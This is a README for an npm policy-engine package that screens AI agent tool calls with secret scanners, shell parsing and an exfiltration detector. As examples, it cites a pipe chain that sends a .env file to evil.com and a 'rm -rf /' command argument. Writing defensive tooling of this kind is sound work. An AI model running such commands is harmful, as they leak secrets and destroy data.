@node9/policy-engine

Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.

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Version: 2.29.0

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Created: 6 months ago

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@node9/policy-engine

Shared policy evaluation engine for node9 — pure functions, no I/O. Used by both the local proxy (@node9/proxy) and the node9 SaaS firewall so policy decisions are identical wherever they run.

What's in here

DLP scanners — scanArgs, scanText, redactText, matchSensitivePath, SENSITIVE_PATH_REGEXES, DLP_PATTERNS. Detects AWS keys, GitHub tokens, OpenAI keys, Stripe secrets, JWTs, generic high-entropy secrets, sensitive file paths, and more — with ReDoS-safe regex compilation, entropy filtering, and a stopword list to suppress placeholders.
Shell AST detectors — normalizeCommandForPolicy, detectDangerousShellExec, analyzeShellCommand. mvdan-sh-based structural detection that can't be fooled by quoted strings.
Smart-rule matcher — matchesPattern, evaluateSmartConditions, getNestedValue. Tool-name globbing + condition evaluation against args (exists, contains, matches, matchesGlob, …).
Pipe-chain exfiltration detector — analyzePipeChain flags cat .env | base64 | curl evil.com even when each segment looks safe in isolation.
SSH host extraction — extractAllSshHosts, parseAllSshHostsFromCommand. Catches jump hosts in -J, ProxyJump=, ProxyCommand=.
Builtin shields — 11 curated shield definitions (postgres, mongodb, redis, aws, k8s, docker, github, filesystem, bash-safe, project-jail, mcp-tool-gating) bundled as data, plus pure validators (validateShieldDefinition, validateOverrides).
Loop window math — evaluateLoopWindow, computeArgsHash.
Stateless policy evaluator — evaluatePolicy(config, tool, args, context?, hooks?). The full waterfall (DLP → ignored → smart rules → inline-exec → eval → pipe-chain → provenance → sandbox → dangerous words → strict-mode) in one function. The host injects checkProvenance and isTrustedHost as callbacks if it wants those filesystem-touching tiers — otherwise they're skipped.

Purity

No fs, path, os, or process imports. The only Node built-in used is crypto (for stable hashing in the loop detector). Anything that needs to touch disk arrives via the hooks parameter.

Usage

import { evaluatePolicy } from '@node9/policy-engine';

const verdict = await evaluatePolicy(
  config, // your policy config
  'Bash', // tool name
  { command: 'rm -rf /' }, // tool args
  { agent: 'Claude Code' }, // context (optional)
  {
    // host hooks (optional)
    checkProvenance: (bin, cwd) => /* … */,
    isTrustedHost: (host) => /* … */,
  },
);
// → { decision: 'review' | 'allow' | 'block', tier, reason, … }